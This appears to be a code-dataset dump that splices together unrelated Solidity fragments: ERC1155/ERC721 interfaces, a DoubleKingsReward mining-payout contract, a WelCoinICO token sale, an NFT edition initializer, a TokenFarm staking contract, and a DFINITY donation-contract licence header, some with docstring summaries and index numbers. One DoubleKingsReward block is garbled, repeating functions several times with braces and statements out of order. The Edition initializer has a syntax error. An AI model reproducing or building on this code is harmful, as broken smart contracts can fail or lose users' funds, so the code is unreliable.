function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
} | Set the address of the Voucher Sets token contract, an ERC1155 contract _voucherSetTokenAddress The address of the Vouchers token contract/ | function setVoucherSetTokenAddress(address _voucherSetTokenAddress)
external
override
onlyOwner
notZeroAddress(_voucherSetTokenAddress)
whenPaused
{
voucherSetTokenAddress = _voucherSetTokenAddress;
emit LogVoucherSetTokenContractSet(_voucherSetTokenAddress, msg.sender);
}
| 40,243 |
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/*
When executed after the Kings contract, the entire token balance inside the contract will be transferred to the minter if they becomes the king which they are already the king.
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ERC918Interface {
function epochCount() public constant returns (uint);
function totalSupply() public constant returns (uint);
function getMiningDifficulty() public constant returns (uint);
function getMiningTarget() public constant returns (uint);
function getMiningReward() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success);
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
}
contract mintForwarderInterface
{
function mintForwarder(uint256 nonce, bytes32 challenge_digest, address[] proxyMintArray) public returns (bool success);
}
contract proxyMinterInterface
{
function proxyMint(uint256 nonce, bytes32 challenge_digest) public returns (bool success);
}
contract miningKingContract
{
function getKing() public returns (address king);
}
contract ownedContractInterface
{
address public owner;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract DoubleKingsReward is Owned
{
using SafeMath for uint;
address public kingContract;
address public minedToken;
// 0xBTC is 0xb6ed7644c69416d67b522e20bc294a9a9b405b31;
constructor(address mToken, address mkContract) public {
minedToken = mToken;
kingContract = mkContract;
}
function getBalance() view public returns (uint)
{
return ERC20Interface(minedToken).balanceOf(this);
}
//do not allow ether to enter
function() public payable {
revert();
}
/**
Pay out the token balance if the king becomes the king twice in a row
**/
//proxyMintWithKing
function mintForwarder(uint256 nonce, bytes32 challenge_digest, address[] proxyMintArray) public returns (bool)
{
require(proxyMintArray.length > 0);
uint previousEpochCount = ERC918Interface(minedToken).epochCount();
address proxyMinter = proxyMintArray[0];
if(proxyMintArray.length == 1)
{
//Forward to the last proxyMint contract, typically a pool's owned mint contract
require(proxyMinterInterface(proxyMinter).proxyMint(nonce, challenge_digest));
}else{
//if array length is greater than 1, pop the proxyMinter from the front of the array and keep cascading down the chain...
address[] memory remainingProxyMintArray = popFirstFromArray(proxyMintArray);
require(mintForwarderInterface(proxyMinter).mintForwarder(nonce, challenge_digest,remainingProxyMintArray));
}
//make sure that the minedToken really was proxy minted through the proxyMint delegate call chain
require( ERC918Interface(minedToken).epochCount() == previousEpochCount.add(1) );
// UNIQUE CONTRACT ACTION SPACE
address proxyMinterAddress = ownedContractInterface(proxyMinter).owner();
require(proxyMinterAddress == owner);
address miningKing = miningKingContract(kingContract).getKing();
bytes memory nonceBytes = uintToBytesForAddress(nonce);
address newKing = bytesToAddress(nonceBytes);
if(miningKing == newKing)
{
uint balance = ERC20Interface(minedToken).balanceOf(this);
require(ERC20Interface(minedToken).transfer(newKing,balance));
}
// --------
return true;
}
function popFirstFromArray(address[] array) pure public returns (address[] memory)
{
address[] memory newArray = new address[](array.length-1);
for (uint i=0; i < array.length-1; i++) {
newArray[i] = array[i+1] ;
}
return newArray;
}
function uintToBytesForAddress(uint256 x) pure public returns (bytes b) {
b = new bytes(20);
for (uint i = 0; i < 20; i++) {
b[i] = byte(uint8(x / (2**(8*(31 - i)))));
}
return b;
}
function bytesToAddress (bytes b) pure public returns (address) {
uint result = 0;
for (uint i = b.length-1; i+1 > 0; i--) {
uint c = uint(b[i]);
uint to_inc = c * ( 16 ** ((b.length - i-1) * 2));
result += to_inc;
}
return address(result);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0xBTC is 0xb6ed7644c69416d67b522e20bc294a9a9b405b31; | {
using SafeMath for uint;
address public kingContract;
address public minedToken;
constructor(address mToken, address mkContract) public {
minedToken = mToken;
kingContract = mkContract;
}
function getBalance() view public returns (uint)
{
return ERC20Interface(minedToken).balanceOf(this);
}
function() public payable {
revert();
}
Pay out the token balance if the king becomes the king twice in a row
function mintForwarder(uint256 nonce, bytes32 challenge_digest, address[] proxyMintArray) public returns (bool)
{
require(proxyMintArray.length > 0);
uint previousEpochCount = ERC918Interface(minedToken).epochCount();
address proxyMinter = proxyMintArray[0];
if(proxyMintArray.length == 1)
{
require(proxyMinterInterface(proxyMinter).proxyMint(nonce, challenge_digest));
address[] memory remainingProxyMintArray = popFirstFromArray(proxyMintArray);
require(mintForwarderInterface(proxyMinter).mintForwarder(nonce, challenge_digest,remainingProxyMintArray));
}
require(proxyMinterAddress == owner);
address miningKing = miningKingContract(kingContract).getKing();
bytes memory nonceBytes = uintToBytesForAddress(nonce);
address newKing = bytesToAddress(nonceBytes);
if(miningKing == newKing)
{
uint balance = ERC20Interface(minedToken).balanceOf(this);
require(ERC20Interface(minedToken).transfer(newKing,balance));
}
return true;
}
function mintForwarder(uint256 nonce, bytes32 challenge_digest, address[] proxyMintArray) public returns (bool)
{
require(proxyMintArray.length > 0);
uint previousEpochCount = ERC918Interface(minedToken).epochCount();
address proxyMinter = proxyMintArray[0];
if(proxyMintArray.length == 1)
{
require(proxyMinterInterface(proxyMinter).proxyMint(nonce, challenge_digest));
address[] memory remainingProxyMintArray = popFirstFromArray(proxyMintArray);
require(mintForwarderInterface(proxyMinter).mintForwarder(nonce, challenge_digest,remainingProxyMintArray));
}
require(proxyMinterAddress == owner);
address miningKing = miningKingContract(kingContract).getKing();
bytes memory nonceBytes = uintToBytesForAddress(nonce);
address newKing = bytesToAddress(nonceBytes);
if(miningKing == newKing)
{
uint balance = ERC20Interface(minedToken).balanceOf(this);
require(ERC20Interface(minedToken).transfer(newKing,balance));
}
return true;
}
}else{
require( ERC918Interface(minedToken).epochCount() == previousEpochCount.add(1) );
address proxyMinterAddress = ownedContractInterface(proxyMinter).owner();
function mintForwarder(uint256 nonce, bytes32 challenge_digest, address[] proxyMintArray) public returns (bool)
{
require(proxyMintArray.length > 0);
uint previousEpochCount = ERC918Interface(minedToken).epochCount();
address proxyMinter = proxyMintArray[0];
if(proxyMintArray.length == 1)
{
require(proxyMinterInterface(proxyMinter).proxyMint(nonce, challenge_digest));
address[] memory remainingProxyMintArray = popFirstFromArray(proxyMintArray);
require(mintForwarderInterface(proxyMinter).mintForwarder(nonce, challenge_digest,remainingProxyMintArray));
}
require(proxyMinterAddress == owner);
address miningKing = miningKingContract(kingContract).getKing();
bytes memory nonceBytes = uintToBytesForAddress(nonce);
address newKing = bytesToAddress(nonceBytes);
if(miningKing == newKing)
{
uint balance = ERC20Interface(minedToken).balanceOf(this);
require(ERC20Interface(minedToken).transfer(newKing,balance));
}
return true;
}
function popFirstFromArray(address[] array) pure public returns (address[] memory)
{
address[] memory newArray = new address[](array.length-1);
for (uint i=0; i < array.length-1; i++) {
newArray[i] = array[i+1] ;
}
return newArray;
}
function popFirstFromArray(address[] array) pure public returns (address[] memory)
{
address[] memory newArray = new address[](array.length-1);
for (uint i=0; i < array.length-1; i++) {
newArray[i] = array[i+1] ;
}
return newArray;
}
function uintToBytesForAddress(uint256 x) pure public returns (bytes b) {
b = new bytes(20);
for (uint i = 0; i < 20; i++) {
b[i] = byte(uint8(x / (2**(8*(31 - i)))));
}
return b;
}
function uintToBytesForAddress(uint256 x) pure public returns (bytes b) {
b = new bytes(20);
for (uint i = 0; i < 20; i++) {
b[i] = byte(uint8(x / (2**(8*(31 - i)))));
}
return b;
}
function bytesToAddress (bytes b) pure public returns (address) {
uint result = 0;
for (uint i = b.length-1; i+1 > 0; i--) {
uint c = uint(b[i]);
uint to_inc = c * ( 16 ** ((b.length - i-1) * 2));
result += to_inc;
}
return address(result);
}
function bytesToAddress (bytes b) pure public returns (address) {
uint result = 0;
for (uint i = b.length-1; i+1 > 0; i--) {
uint c = uint(b[i]);
uint to_inc = c * ( 16 ** ((b.length - i-1) * 2));
result += to_inc;
}
return address(result);
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1,656,658 |
./partial_match/1/0x613d6d6a81636D8707A7abf45374c4c560FA426C/sources/contracts/deployment/SystemDictator.sol | Calls the first 2 steps of the migration process./ | function phase1() external onlyOwner {
step1();
step2();
}
| 2,708,227 |
pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract WelCoinICO is Ownable {
using SafeMath for uint256;
// start and end timestamps where main-investments are allowed (both inclusive)
uint256 public mainSaleStartTime;
uint256 public mainSaleEndTime;
// maximum amout of wei for main sale
//uint256 public mainSaleWeiCap;
// maximum amout of wei to allow for investors
uint256 public mainSaleMinimumWei;
// address where funds are collected
address public wallet;
// address of erc20 token contract
address public token;
// how many token units a buyer gets per wei
uint256 public rate;
// bonus percent to apply
uint256 public percent;
// amount of raised money in wei
//uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function WelCoinICO(uint256 _mainSaleStartTime, uint256 _mainSaleEndTime, address _wallet, address _token) public {
// the end of main sale can't happen before it's start
require(_mainSaleStartTime < _mainSaleEndTime);
require(_wallet != 0x0);
mainSaleStartTime = _mainSaleStartTime;
mainSaleEndTime = _mainSaleEndTime;
wallet = _wallet;
token = _token;
rate = 2500;
percent = 0;
mainSaleMinimumWei = 100000000000000000; // 0.1
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(msg.value != 0x0);
require(msg.value >= mainSaleMinimumWei);
require(now >= mainSaleStartTime && now <= mainSaleEndTime);
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// add bonus to tokens depends on the period
uint256 bonusedTokens = applyBonus(tokens, percent);
require(token.call(bytes4(keccak256("transfer(address,uint256)")), beneficiary, bonusedTokens));
// token.mint(beneficiary, bonusedTokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, bonusedTokens);
forwardFunds();
}
// set new dates for main-sale (emergency case)
function setMainSaleParameters(uint256 _mainSaleStartTime, uint256 _mainSaleEndTime, uint256 _mainSaleMinimumWei) public onlyOwner {
require(_mainSaleStartTime < _mainSaleEndTime);
mainSaleStartTime = _mainSaleStartTime;
mainSaleEndTime = _mainSaleEndTime;
mainSaleMinimumWei = _mainSaleMinimumWei;
}
// set new wallets (emergency case)
function setWallet(address _wallet) public onlyOwner {
require(_wallet != 0x0);
wallet = _wallet;
}
// set new rate (emergency case)
function setRate(uint256 _rate) public onlyOwner {
require(_rate > 0);
rate = _rate;
}
// send tokens to specified wallet wallet
function transferTokens(address _wallet, uint256 _amount) public onlyOwner {
require(_wallet != 0x0);
require(_amount != 0);
require(token.call(bytes4(keccak256("transfer(address,uint256)")), _wallet, _amount));
}
// @return true if main sale event has ended
function mainSaleHasEnded() external constant returns (bool) {
return now > mainSaleEndTime;
}
// send ether to the fund collection wallet
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function applyBonus(uint256 tokens, uint256 percentToApply) internal pure returns (uint256 bonusedTokens) {
uint256 tokensToAdd = tokens.mul(percentToApply).div(100);
return tokens.add(tokensToAdd);
}
} | send tokens to specified wallet wallet | function transferTokens(address _wallet, uint256 _amount) public onlyOwner {
require(_wallet != 0x0);
require(_amount != 0);
require(token.call(bytes4(keccak256("transfer(address,uint256)")), _wallet, _amount));
}
| 12,102,413 |
./full_match/80001/0xE356f52D454E54A1Cd792A257972acB27E2AfE78/sources/contracts/Edition.sol | /EK _mintPeriodSeconds The amount of time in seconds after which editions can no longer be minted or purchased. Use 0 to have no expiration _salePrice Sale Price _creatorName Creator Name Set ownership to original sender of contract callEK overflows are not expected to happen for timestamps, and have no security implications | function initialize(
address _owner,
string memory _name,
string memory _symbol,
string memory _description,
string memory _imageUrl,
string memory _contentType,
uint256 _editionSize,
uint256 _royaltyBPS,
uint256 _mintPeriodSeconds,
uint256 _salePrice,
string memory _creatorName,
) public initializer {
__ERC721_init(_name, _symbol);
__Ownable_init();
transferOwnership(_owner);
description = _description;
imageUrl = _imageUrl;
contentType= _contentType;
editionSize = _editionSize;
royaltyBPS = _royaltyBPS;
uint64 _endOfMintPeriod;
if (_mintPeriodSeconds > 0) {
unchecked {
uint256 endOfMintPeriodUint256 = block.timestamp + _mintPeriodSeconds;
_endOfMintPeriod = requireUint64(endOfMintPeriodUint256);
}
}
endOfMintPeriod = _endOfMintPeriod;
salePrice = _salePrice;
creatorName = _creatorName;
}
| 850,395 |
./full_match/80001/0xC920FB9770Da77713D456256d7836d27502ba9cA/sources/contracts/Metadata.sol | Ability to Probe Current Rate | function probeRate(uint256 tokenId) external {
require(_ownerOf(tokenId) == msg.sender, "ENO");
App storage a = AppData();
emit ProbeRate( a.Token[tokenId].exchangeRate, tokenId, block.timestamp);
}
| 5,550,530 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
import "./RewardToken.sol";
contract TokenFarm is Ownable {
/** Basic Farming contract
*
* Functionalities:
* - Stake tokens
* - Unstake tokens
* - Mint reward tokens
* - Add Allowed tokens
* - Get ETH value
*/
/* --------------------------------- Staking -------------------------------- */
// User Address => Token Address => Balance
mapping(address => mapping(address => uint256)) public stakedBalance;
// User Address => Unique Tokens Staked count
mapping(address => uint256) public uniqueStakedCount;
// Unique staked users
address[] public stakers;
/* --------------------------------- Minting -------------------------------- */
RewardToken public rewardToken;
/* ------------------------------- Price Feed ------------------------------- */
mapping(address => address) public tokenToPriceFeed;
/* -------------------------------- Allowance ------------------------------- */
mapping(address => bool) public allowedTokens;
address[] public allowedTokensKeys;
/* ------------------------------- Constructor ------------------------------ */
constructor(address _rewardToken) public {
rewardToken = RewardToken(_rewardToken);
}
/* --------------------------------- Staking -------------------------------- */
function stakeTokens(uint256 _amount, address _token) public {
require(_amount > 0, "Must stake more than 0.");
require(isAllowedToken(_token), "Token not allowed.");
// Transfer the tokens to the contract
IERC20(_token).transferFrom(msg.sender, address(this), _amount);
// Update user info after staking
_updateUniqueStakedCount(msg.sender, _token);
stakedBalance[msg.sender][_token] += _amount;
// Add to list only if this is the first time staking
if (uniqueStakedCount[msg.sender] == 1) {
stakers.push(msg.sender);
}
}
function unstakeTokens(address _token) public {
require(
stakedBalance[msg.sender][_token] > 0,
"Must unstake more than 0."
);
IERC20(_token).transfer(msg.sender, stakedBalance[msg.sender][_token]);
stakedBalance[msg.sender][_token] = 0;
uniqueStakedCount[msg.sender] -= 1;
// Remove from list if this is the last token unstake
if (uniqueStakedCount[msg.sender] == 0) {
for (uint256 i; i < stakers.length; i++) {
if (stakers[i] == msg.sender) {
stakers[i] = stakers[stakers.length - 1];
stakers.pop();
}
}
}
}
function _updateUniqueStakedCount(address _user, address _token) internal {
if (stakedBalance[_user][_token] <= 0) {
uniqueStakedCount[_user] += 1;
}
}
/* ------------------------------- Price Feed ------------------------------- */
function _setPriceFeed(address _token, address _priceFeed) internal {
tokenToPriceFeed[_token] = _priceFeed;
}
function getUserTVL(address _user) public view returns (uint256) {
require(uniqueStakedCount[_user] > 0, "User has no staked tokens.");
uint256 tvl = 0;
for (uint256 i; i < allowedTokensKeys.length; i++) {
tvl += getUserTokenTVL(_user, allowedTokensKeys[i]);
}
return tvl;
}
function getUserTokenTVL(address _user, address _token)
public
view
returns (uint256)
{
if (uniqueStakedCount[_user] <= 0) {
return 0;
}
(uint256 price, uint256 decimals) = getTokenValue(_token);
return (stakedBalance[_user][_token] * price) / (10**decimals);
}
function getTokenValue(address _token)
public
view
returns (uint256, uint256)
{
address priceFeedAddress = tokenToPriceFeed[_token];
AggregatorV3Interface priceFeed = AggregatorV3Interface(
priceFeedAddress
);
(, int256 price, , , ) = priceFeed.latestRoundData();
uint256 decimals = uint256(priceFeed.decimals());
return (uint256(price), decimals);
}
/* --------------------------------- Minting -------------------------------- */
function mintRewards() public onlyOwner {
for (uint256 i = 0; i < stakers.length; i++) {
address _user = stakers[i];
uint256 _userTVL = getUserTVL(_user);
// Send the usd value amount in Reward tokens
// This is just for the sake of trying the minting function
// Not an actual reward system
rewardToken.mint(_user, _userTVL);
}
}
/* -------------------------------- Allowance ------------------------------- */
function addAllowedToken(address _token, address _priceFeed)
public
onlyOwner
{
allowedTokens[_token] = true;
allowedTokensKeys.push(_token);
// Add corresponding price feed for the new token
_setPriceFeed(_token, _priceFeed);
}
function isAllowedToken(address _token) public view returns (bool) {
return allowedTokens[_token];
}
}
| Remove from list if this is the last token unstake | function unstakeTokens(address _token) public {
require(
stakedBalance[msg.sender][_token] > 0,
"Must unstake more than 0."
);
IERC20(_token).transfer(msg.sender, stakedBalance[msg.sender][_token]);
stakedBalance[msg.sender][_token] = 0;
uniqueStakedCount[msg.sender] -= 1;
if (uniqueStakedCount[msg.sender] == 0) {
for (uint256 i; i < stakers.length; i++) {
if (stakers[i] == msg.sender) {
stakers[i] = stakers[stakers.length - 1];
stakers.pop();
}
}
}
}
| 12,906,667 |
/*
The MIT License (MIT)
Copyright (c) 2016 DFINITY Stiftung
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
/**
* title: The DFINITY Stiftung donation contract (FDC).
* author: Timo Hanke
*
* This contract
* - accepts on-chain donations for the foundation in ether
* - tracks on-chain and off-chain donations made to the foundation
* - assigns unrestricted tokens to addresses provided by donors
* - assigns restricted tokens to DFINITY Stiftung and early contributors
*
* On-chain donations are received in ether are converted to Swiss francs (CHF).
* Off-chain donations are received and recorded directly in Swiss francs.
